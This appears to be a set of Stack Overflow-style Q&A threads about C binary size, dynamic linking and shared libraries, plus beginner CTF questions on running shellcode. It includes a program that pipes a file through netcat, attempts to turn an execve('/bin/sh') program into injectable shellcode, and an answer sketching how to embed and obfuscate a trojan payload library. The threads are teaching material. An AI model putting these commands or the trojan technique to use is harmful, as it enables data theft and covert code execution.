On doing some experiments whilst learning C, I've come across something odd. This is my program:
int main(void) {sleep(5);}
When it is compiled, the file size of the executable is 8496 bytes (in comparison to the 26 byte source!) This is understandable as sleep is called and the instructions for calling that are written in the executable. Another point to make is that without the sleep, the executable becomes 4312 bytes.
int main(void) {}
My main question is what happens when the first program is run. I'm using clang to compile and Mac OS X to run it. The result (according to Activity Monitor) is that the program uses 504KB of "real memory". Why is it so big when the program is just 4KB? I am assuming that the executable is loaded into memory but I haven't done anything apart from a sleep call. Why does my program need 500KB to sleep for five seconds?
By the way, the reason I'm using sleep is to be able to catch the amount of memory being used using Activity Monitor in the first place.
I ask simply out of curiosity, cheers!
When you compile a C program it is linked into an executable. Even though your program is very small it will link to the C runtime which will include some additional code. There may be some error handling and this error handling may write to the console and this code may include sprintf which adds some footprint to your application. You can request the linker to produce a map of the code in your executable to see what is actually included.
Also, an executable file contains more than machine code. There will be various tables for data and dynamic linking which will increase the size of the executable and there may also be some wasted space because the various parts are stored in blocks.
The C runtime will initialize before main is called and this will result in both some code being loaded (e.g. by dynamically linking to various operating system features) as well as memory being allocated for a a heap, a stack for each thread and probably also some static data. Not all of this data may show as "real memory" - the default stack size on OS X appears to be 8 MB and your application is still using much less than this.
In this case I suppose the size difference you've observed is significantly caused by dynamic linking.
Linkers usually don't place common code into the executable binaries, instead they reserve the information and the code would be loaded when the binary is loaded. Here those common code is stored in files called shared object(SO) or dynamically linked library(DLL).
[pengyu#GLaDOS temp]$ cat test.c
int main(void) {sleep(5);}
[pengyu#GLaDOS temp]$ gcc test.c
[pengyu#GLaDOS temp]$ du -h --apparent-size a.out
6.6K a.out
[pengyu#GLaDOS temp]$ gcc test.c -static
[pengyu#GLaDOS temp]$ du -h --apparent-size a.out
807K a.out
ALso, here I'm listing what are there in the memory of a process:
There're necessary dynamic libraries to be loaded in:
Here ldd gives the result of dynamic libraries to be loaded when invoking the binary. These libraries locates in the part where it's obtained by calling the mmap system call.
[pengyu#GLaDOS temp]$ cat test.c
int main(void) {sleep(5);}
[pengyu#GLaDOS temp]$ gcc test.c
[pengyu#GLaDOS temp]$ ldd ./a.out
linux-vdso.so.1 (0x00007fff576df000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f547a212000)
/lib64/ld-linux-x86-64.so.2 (0x00007f547a5bd000)
There're sections like .data, .code to be allocated for data from your binary file.
This part exists in the binary executable, so the size is supposed to be no lager than the file itself. Contents copied at the loading stage of a executable binary.
There're sections like .bss and also the stack zone to be allocated for dynamically use during execution of the program.
This part does not exist in the binary executable, so the size could be quite large without being affected by size of the file itself.
Related
I have some example code here which I'm using to understand some C behaviour for a beginner's CTF:
// example.c
#include <stdio.h>
void main() {
void (*print)();
print = getenv("EGG");
print();
}
Compile: gcc -z execstack -g -m32 -o example example.c
Usage: EGG=$(echo -ne '\x90\xc3) ./example
If I compile the code with the execstack flag, the program will execute the opcodes I've injected above. Without the flag, the program will crash due to a segmentation fault.
Why exactly is this? Is it because getenv is storing the actual opcodes on the stack, and the execstack flag allows jumps to the stack? Or does getenv push a pointer onto the stack, and there are some other rules about what sections of memory are executable? I read the manpage, but I couldn't work out exactly what the rules are and how they're enforced.
Another issue is I think I'm also really lacking a good tool to visualise memory whilst debugging, so its hard to figure this out. Any advice would be really appreciated.
getenv doesn't store the env var's value on the stack. It's already on the stack from process startup, and getenv obtains a pointer to it.
See the i386 System V ABI's description of where argv[] and envp[] are located at process startup: above [esp].
_start doesn't copy them before calling main, just calculates pointers to them to pass as args to main. (Links to the latest version at https://github.com/hjl-tools/x86-psABI/wiki/X86-psABI, where the official current version is maintained.)
Your code is casting a pointer to stack memory (containing the value of an env var) into a function pointer and calling through it. Look at the compiler-generated asm (e.g. on https://godbolt.org/): it'll be something like call getenv / call eax.
-zexecstack in your kernel version1 makes all your pages executable, not just the stack. It also applies to .data, .bss, and .rodata sections, and memory allocated with malloc / new.
The exact mechanism on GNU/Linux was a "read-implies-exec" process-wide flag that affects all future allocations, including manual use of mmap. See Unexpected exec permission from mmap when assembly files included in the project for more about the GNU_STACK ELF header stuff.
Footnote 1: Linux after 5.4 or so only makes the stack itself executable, not READ_IMPLIES_EXEC: Linux default behavior of executable .data section changed between 5.4 and 5.9?
Fun fact: taking the address of a nested function that accesses its parents local variables gets gcc to enable -zexecstack. It stores code for an executable "trampoline" onto the stack that passes a "static chain" pointer to the actual nested function, allowing it to reference its parent's stack-frame.
If you wanted to exec data as code without -zexecstack, you'd use mprotect(PROT_EXEC|PROT_READ|PROT_WRITE) on the page containing that env var. (It's part of your stack so you shouldn't remove write permission; it could be in the same page as main's stack frame for example.)
Related:
With GNU/Linux ld from binutils before late 2018 or so, the .rodata section is linked into the same ELF segment as the .text section, and thus const char code[] = {0xc3} or string literals are executable.
Current ld gives .rodata its own segment that's mapped read without exec, so finding ROP / Spectre "gadgets" in read-only data is no longer possible, unless you use -zexecstack. And even that doesn't work on current kernels; char code[] = ...; as a local inside a function will put data on the stack where it's actually executable. See How to get c code to execute hex machine code? for details.
Edit: It appears I have a lot more reading to do...
Also, for those telling me this is a bad idea, it's for a buffer overflow exercise.
I have a fairly simple C program:
int main() {
system("cat file | nc -p 33 localhost 8080");
return 0;
}
I want to turn it into hex assembly code. Think something like:
\x55\x43\xff\x75\x13\x77...
I tried doing:
gcc -o shell shell.c
for i in $(objdump -d shell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
And that gave me a nice long string of hex. But when I tested it in this program, I got a segfault.
code = "\x55\x43\xff\x75\x13\x77..."
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Anyone know how I can get this working? Thanks! Also, I don't know if it matters but it's a 64 bit system.
You are missing a whole bunch of stuff that the OS does for you between the time the binary code is loaded from disk and it is executed. The function call "system(char *command)" for example: The pointer to the command characters is invalid until the OS loader "fixes" the pointers.
If you are very, very careful you can construct code that does not rely on pointers and can run from any arbitrary address without help from the OS loader. This is how stack overflow exploits are created. Most modern CPUs prevent this code from running by using the memory manager to mark memory as either "DATA" or "CODE" and faulting if your program tries to execute DATA or write to CODE.
What you are trying to do, the OS is trying to prevent.
This won't work. The main reason is: What your compiler creates for you is not just plain binary code but a well-defined file-format for a runnable program (on windows a PE file, on linux an ELF file) This file is read by the dynamic linker of your operating system and preprocessed (e.g. linked to dynamic shared objects, read libraries) before it is executed by jumping to the entry point that is somehow given in the headers of the file. There's no way such a file could be executed by just jumping to the first byte in the file. In fact, it's the linker that creates the output format, but it's invoked by the compiler automatically.
If you JUST want the assembler code, use gcc -S ... you will get mnemonics that could be fed to a standalone assembler.
There are ways to trick the linker to emit a plain binary of your code (See here an interesting read about how to use that to generate an MS-DOS .COM file), but you still have the problem that your program typically doesn't consist of only the text (read, the binary code executed) but you also have data, typically in .data segment (for readonly) and .bss segment (for readwrite).
Adding to that, placing the binary in a c string will normally put it in the .data segment. Although this could be executable, it doesn't have to, and from a security point of view, it shouldn't -- see Data Execution Prevention.
All in all, just forget about that...
I'm not sure what you are trying to achieve, but if I put my black hat on for a minute...
If you are trying to write a stack overflow exploit, you need to learn about the memory manager and the gory details of the target CPU. You will be dealing strictly with the CPU and circumventing the OS entirely.
If you are trying to write a trojan horse, you should compile your payload as a dynamic library (.so) and put the hex for the entire payload.so file into code[]. Then, in the carrier program, map code[] to a virtual file (or just write it to disk) and call loadlibrary() on the (virtual) file. You still won't be root, but your payload will be buried inside the first executable. You can bit-twiddle the code[] bytes to obfuscate the payload. You will also need to figure out how to set the executable flag on the newly created file.
For either of these, you will be working against the CPU and/or OS.
I want to use same library functions (i.e. OpenSSL library ) in two different programs in C for computation. How can I make sure that both program use a common library , means only one copy of library is loaded into shared main memory and both program access the library from that memory location for computation?
For example, when 1st program access the library for computation it is loaded into cache from main memory and when the 2nd program wants to access it later , it will access the data from cache ( already loaded by 1st program), not from main memory again.
I am using GCC under Linux. Any explanation or pointer will be highly appreciated .
Code gets shared by the operating system, not only of shared libraries but also of executables of the same binary — you don't have to do anything to have this feature. It is part of the system's memory management.
Data will not get shared between the two processes. You would need threads in one process to share data. But unless you want that, just make sure both programs use exactly the same shared library file (.so file). Normally you won't have to think about that; it only might be important if two programs use different versions of a library (they would not get shared of course).
Have a look at the output of ldd /path/to/binary to see which shared libraries are used by a binary.
Read Drepper's paper How to Write Shared Libraries and Program Library HowTo
To make one, compile your code as position independent code, e.g.
gcc -c -fPIC -O -Wall src1.c -o src1.pic.o
gcc -c -fPIC -O -Wall src2.c -o src2.pic.o
then link it into a shared object
gcc -shared src1.pic.o src2.pic.o -lsome -o libfoo.so
you may link a shared library -lsome into another one libfoo.so
Internally, the dynamic linker ld-linux.so(8) is using mmap(2) (and will do some relocation at dynamic link time) and what matters are inodes. The kernel will use the file system cache to avoid reading twice a shared library used by different processes. See also linuxatemyram.com
Use e.g. ldd(1), pmap(1) and proc(5). See also dlopen(3). Try
cat /proc/self/maps
to understand the address space of the virtual memory used by the process running that cat command; not everything of an ELF shared library is shared between processes, only some segments, including the text segment...
to get opcodes author here does following:
[bodo#bakawali testbed8]$ as testshell2.s -o testshell2.o
[bodo#bakawali testbed8]$ ld testshell2.o -o testshell2
[bodo#bakawali testbed8]$ objdump -d testshell2
and then he gets three sections (or mentions only these 3):
<_start>
< starter>
< ender>
I have tried to get hex opcodes the same way but cannot ld correctly. Of course I can produce .o and prog file for example with:
gcc main.o -o prog -g
however when
objdump --prefix-addresses --show-raw-insn -Srl prog
to see complete code with annotations and symbols, I have many additional sections there, for example:
.init
.plt
.text (yes, I know, main is here) [many parts here: _start(), call_gmon_start(), __do_global_dtors_aux(), frame_dummy(), main(), __libc_csu_init(), __libc_csu_fini(), __do_global_ctors_aux()]
.fini
I assume these are additions introduced by gcc linking to runtime libraries. I think i don't need these all sections to call opcode from c code (author uses only those 3 sections) however my problem is I don't know which exactly I might discard and which are necessary. I want to use it like this:
#include <unistd.h>
char code[] = "\x31\xed\x49\x89\x...x00\x00";
int main(int argc, char **argv)
{
/*creating a function pointer*/
int (*func)();
func = (int (*)()) code;
(int)(*func)();
return 0;
}
so I have created this :
#include <unistd.h>
/*
*
*/
int main() {
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
return 0;
}
and I did disassembly as I described. I tried to use opcode from .text main(), this gave me segmentation fault, then .text main() + additionally .text _start(), with same result.
So, what to choose from above sections, or how to generate only as minimized "prog" as with three sections?
char code[] = "\x31\xed\x49\x89\x...x00\x00";
This will not work.
Reason: The code definitely contains adresses. Mainly the address of the function execve() and the address of the string constant "/bin/sh".
The executable using the "code[]" approach will not contain a string constant "/bin/sh" at all and the address of the function execve() will be different (if the function will be linked into the executable at all).
Therefore the "call" instruction to the "execve()" function will jump to anywhere in the executable using the "code[]" approach.
Some theory about executables - just for your information:
There are two possibilities for executables:
Statically linked: These executables contain all necessary code. Therefore they do not access dynamic libraries like "libc.so"
Dynamically linked: These executables do not contain code that is frequently used. Such code is stored in files common to all executables: The dynamic libraries (e.g. "libc.so")
When the same C code is used then statically linked executables are much bigger than dynamically linked executables because all C functions (e.g. "printf", "execve", ...) must be bundled into the executable.
When not using any of these library functions the statically linked executables are simpler and therefore easier to understand.
Statically linked executable behaviour
A statically linked executable is loaded into the memory by the operating system (when it is started using execve()). The executable contains an entry point address. This address is stored in the file header of the executable. You can see it using "objdump -h ...".
The operating system performs a jump to that address so the program execution starts at this address. The address is typically the function "_start" however this can be changed using command line options when linking using "ld".
The code at "_start" will prepare the executable (e.g. initialize variables, calculate the values for "argc" and "argv", ...) and call the "main()" function. When "main()" returns the "_start" function will pass the value returned by "main()" to the "_exit()" function.
Dynamically linked executable behaviour
Such executables contain two additional sections. The first section contains the file name of the dynamic linker (maybe. "/lib/ld-linux.so.1"). The operating system will then load the executable and the dynamic linker and jump to the entry point of the dynamic linker (and not to that of the executable).
The dynamic linker will read the second additional section: It contains information about dynamic libraries (e.g. "libc.so") required by the executable. It will load all these libraries and initialize a lot of variables. Then it calls the initialization function ("_init()") of all libraries and of the executable.
Note that both the operating system and the dynamic linker ignore the function and section names! The address of the entry point is taken from the file header and the addresses of the "_init()" functions is taken from the additional section - the functions may be named differently!
When all this is done the dynamic linker will jump to the entry point ("_start") of the executable.
About the "GOT", "PLT", ... sections:
These sections contain information about the addresses where the dynamic libraries have been loaded by the linker. The "PLT" section contains wrapper code that will contain jumps to the dynamic libraries. This means: The section "PLT" will contain a function "printf()" that will actually do nothing but jump to the "printf()" function in "libc.so". This is done because directly calling a function in a dynamic library from C code would make linking much more difficult so C code will not call functions in a dynamic library directly. Another advantage of this implementation is that "lazy linking" is possible.
Some words about Windows
Windows only knows dynamically linked executables. Windows XP even refused to load an executable not requiring DLLs. The "dynamic linker" is integrated into the operating system and not a separate file. There is also an equivalent of the "PLT" section. However many compilers support "directly" calling DLL code from C code without calling the code in the PLT section first (theoretically this would also be possible under Linux). Lazy linking is not supported.
You should read this article: http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html.
It explains all you need to create really tiny program in great detail.
Lets say i have a A.c file and compile it to a A.o file.
The A.c file is as follows:
int a;
void add(void)
{
}
The A.o file together with a B.o form a 1.exe file.
The A.o file together with a C.o form a 2.exe file.
My question if I run 1.exe and 2.exe at the same time, will the address of a and add() be the same for these two .exe file? In another word, are there two A.o in the memory or there is only one?
You don't have any relocated object files in memory.
I am guessing you have a Linux system. If on Windows, the principles remain the same, but the details are different.
The linker (called to build both 1.exe and 2.exe) build an executable ELF file (made of several segments, notably the so called "text" segment for machine code and read-only constant data, and the "data" segment for mutable data). The execve(2) syscall starting that program is memory mapping several segments of the ELF file (nearly as would some mmap(2) syscall).
Notice that using .exe file suffix for Linux executable files is confusing and uncommon. Conventionally, Linux executables have no suffix at all and start with a lowercase letter.
The linker has copied and relocated both A.o files into different things (because of the relocation). So it usually happens that the address of a or add is different in 1.exe and in 2.exe, and so are the machine instructions dealing with them.
Each process has its own address space (which can change with e.g. mmap(2) syscall). Type cat /proc/1234/maps to understand the address space of process of pid 1234. Try also cat /proc/self/maps to get the address space of the process running that cat.
If instead of A.o object you have a shared object (or dynamic library) libA.so some of its (mmap-ed) segments will be shared (and others would be using copy on write techniques), and some relocation happens at dynamic link time (e.g. during dlopen if it is a plugin).
Read also Levine's book on Linkers and Loaders.
The addresses of a and add will not be the same. You have two processes, therefore two copies in memory in this instance.
it depends on linking....by default linking is always dynamic so when u load two exe files into memory the file A.o will behave as reentrant function and its only one instance will be in memory which is shared by those two exe file...
its like printf function...there are so many printf any diff diff files but at a time only one instance is running in memory...
reentrant functions should not deliver any data corruption that u must take care of